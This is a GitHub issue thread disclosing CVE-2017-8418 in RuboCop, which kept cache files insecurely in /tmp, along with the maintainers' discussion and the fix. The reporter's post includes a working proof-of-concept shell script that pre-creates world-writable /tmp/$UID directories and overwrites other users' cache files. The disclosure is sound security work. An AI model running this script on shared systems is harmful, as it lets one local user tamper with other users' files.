Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Insecure use of /tmp #4336

Closed
jwilk opened this issue May 1, 2017 · 6 comments
Closed

Insecure use of /tmp #4336

jwilk opened this issue May 1, 2017 · 6 comments
Assignees

Comments

@jwilk
Copy link

jwilk commented May 1, 2017

Actual behavior

RuboCop uses /tmp to store cache files insecurely.
Malicious local users could exploit this to tamper with cache files belonging to other users.

Expected behavior

RuboCop should not abuse /tmp for cache.
Please consider adopting XDG Base Directory Specification, which says cache should be stored in $XDG_CACHE_HOME or $HOME/.cache.

Steps to reproduce the problem

Proof-of-concept exploit:

#!/bin/sh
set -e -u
cd /tmp
uids=$(cut -d: -f3 /etc/passwd | sort -u)
mkdir -m 777 $uids || {
    printf '%s: Failed to pre-create some /tmp/$UID directories. Maybe try again after reboot?\n' "$0" >&2
    exit 1
}
setfacl -d -m "u:$USER:rwx" $uids || {
    printf '%s: This exploit requires ACLs to work. Sorry!\n' >&2
    exit 1
}
## Past this point, we have write permissions to all cache files.
## We can replace them with our own contents.
export json='[{"severity":"error","location":{"begin_pos":0,"end_pos":0},"message":"No, /tmp is not an appropriate location for cache","cop_name":"Syntax","status":"uncorrected"}]'
while true
do
    find $uids -type f -exec sh -c 'printf "%s" "$json" > "$1"' - {} \;
    sleep 1
done

RuboCop version

0.48.1 (using Parser 2.4.0.0, running on ruby 2.1.5 i386-linux-gnu)

@carnil
Copy link

carnil commented May 2, 2017

Requested an CVE identifier via https://cveform.mitre.org/

@carnil
Copy link

carnil commented May 2, 2017

CVE-2017-8418 has been assigned for this issue.

@mikegee
Copy link
Contributor

mikegee commented May 2, 2017

Please excuse my ignorance, but what is exactly is the vulnerability? Other local users could pollute my Rubocop output with nonsense? Or is it worse than that?

@mikegee
Copy link
Contributor

mikegee commented May 2, 2017

@jonas054 should have a look at this. I think he is the "cache guy" around here. 😄

@reedloden
Copy link

This was submitted to oss-security -- http://www.openwall.com/lists/oss-security/2017/05/01/14

@jonas054 jonas054 self-assigned this May 2, 2017
@jonas054
Copy link
Collaborator

jonas054 commented May 2, 2017

Other local users could pollute my Rubocop output with nonsense?

I think that's the extent of the problem. Anyway, I'm willing to fix it according to the suggestion from @jwilk unless anyone has any good counterarguments.

jonas054 added a commit to jonas054/rubocop that referenced this issue May 7, 2017
A malicious person could pre-create directories and set
write access on them so that their contents could be
tampered with when RuboCop has written cache files there.

We follow the recommendations of
https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html
to avoid these problems.

A functional difference is now is that the support for
translating `CacheRootDirectory: /tmp` to the system temporary
directory is removed. The default CacheRootDirectory is nil
(~ in YAML), which normally means $HOME/.cache, so no reason to
encourage the use of /tmp.
@bbatsov bbatsov closed this as completed in dcb258f May 7, 2017
perlun added a commit to ecraft/logging_library that referenced this issue Nov 17, 2017
The previous dependency can mean an insecure Rubocop version gets pulled in: rubocop/rubocop#4336

(I have _not_ validated if this changes the `ruby_version` dependency of the package. If so, we should bump the major version of logging_library to make this clear to our dependers.)
perlun added a commit to ecraft/logging_library that referenced this issue Nov 17, 2017
* Bump rubocop dependency

The previous dependency can mean an insecure Rubocop version gets pulled in: rubocop/rubocop#4336

(I have _not_ validated if this changes the `ruby_version` dependency of the package. If so, we should bump the major version of logging_library to make this clear to our dependers.)

* RuboCop = 0.50.0, TargetRubyVersion: 1.9, lint rule update, linting

* Travis: skip RubyGems update, included in rvm

* Gemfile: skip the pin, use the gemspec

* Travis: use pre-installed Ruby 2.3.4

* Gemfile whitespace
thorsteneckel added a commit to thorsteneckel/ruby-advisory-db that referenced this issue Jan 8, 2018
See output `Version` vs `Solution`:

```
Name: rubocop
Version: 0.51.0
Advisory: CVE-2017-8418
Criticality: Low
URL: rubocop/rubocop#4336
Title: RuboCop: insecure use of /tmp
Solution: upgrade to ~> 0.49.0

Vulnerabilities found!
```
bundlerbot added a commit to rubygems/gemstash that referenced this issue Jan 18, 2018
bundlerbot added a commit to rubygems/gemstash that referenced this issue Mar 31, 2018
bundlerbot added a commit to rubygems/gemstash that referenced this issue May 8, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants